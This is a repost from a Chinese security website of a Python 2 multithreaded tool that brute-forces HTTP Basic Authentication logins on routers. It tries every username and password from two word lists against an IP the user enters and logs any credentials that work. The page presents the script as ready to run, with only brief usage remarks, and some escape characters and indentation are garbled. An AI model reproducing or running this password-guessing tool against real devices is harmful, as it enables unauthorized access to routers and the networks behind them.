python多线程暴力破解路由登陆账号密码,HTTP基础认证暴力破解

admin 2021年4月2日20:25:43评论42 views字数 1485阅读4分57秒阅读模式

运行时请在其目录下添加 user.txt、passwd.txt 两文件。否则会报错。

程序没有加异常处理。

代码比较挫……

#coding:utf-8-
import base64
import urllib2
import Queue
import threading,re,sys
queue = Queue.Queue()
class Rout_thread(threading.Thread):

  def __init__(self,queue,passwd):

    threading.Thread.__init__(self)
    self.queue=queue
    self.passwordlist=passwd
  def run(self):
    self.user=queue.get()
    for self.passwd in self.passwordlist:
      request = urllib2.Request("http://"+target)
      psw_base64 = "Basic " + base64.b64encode(self.user + ":" + self.passwd)
      request.add_header('Authorization', psw_base64)
      try:

        response = urllib2.urlopen(request)
        print "[+]Correct! Username: %s, password: %s" % (self.user,self.passwd)
         fp3 = open('log.txt','a')
        fp3.write(self.user+'||'+self.passwd+'rn')
        fp3.close()
      except urllib2.HTTPError:
        print "[-]password:%s Error!" % (self.passwd)

if __name__ == '__main__':
  print '''
    #######################################################
    #                                                     #
    #                Routing brute force tool             #
    #                                                     #
    #                 by:well                             #
    #                                                    #
    #######################################################
'''
  passwordlist = []
  line = 20
  threads = []
  global target
  target = raw_input("input ip:")
  fp =open("user.txt")
  fp2=open("passwd.txt")
  for user in fp.readlines():
    queue.put(user.split('n')[0])
  for passwd in fp2.readlines():
    passwordlist.append(passwd.split('n')[0])
    #print passwordlist

  fp.close()
  fp2.close()
  for i in range(line):
    a = Rout_thread(queue,passwordlist)
    a.start()
    threads.append(a)
  for j in threads:
    j.join()

[原文地址]

文章来源于lcx.cc:python多线程暴力破解路由登陆账号密码,HTTP基础认证暴力破解

相关推荐: 什么是大数据?

什么是大数据?   某比萨店的电话铃响了,客服人员拿起电话。   客服:XXX比萨店。您好,请问有什么需要我为您服务? 顾客:你好,我想要一份…… 客服:先生,烦请先把您的会员卡号告诉我。 顾客:16846146***。   客服:陈先生,您好!您是住在泉州路…

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2021年4月2日20:25:43
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   python多线程暴力破解路由登陆账号密码,HTTP基础认证暴力破解http://cn-sec.com/archives/317408.html

发表评论

匿名网友 填写信息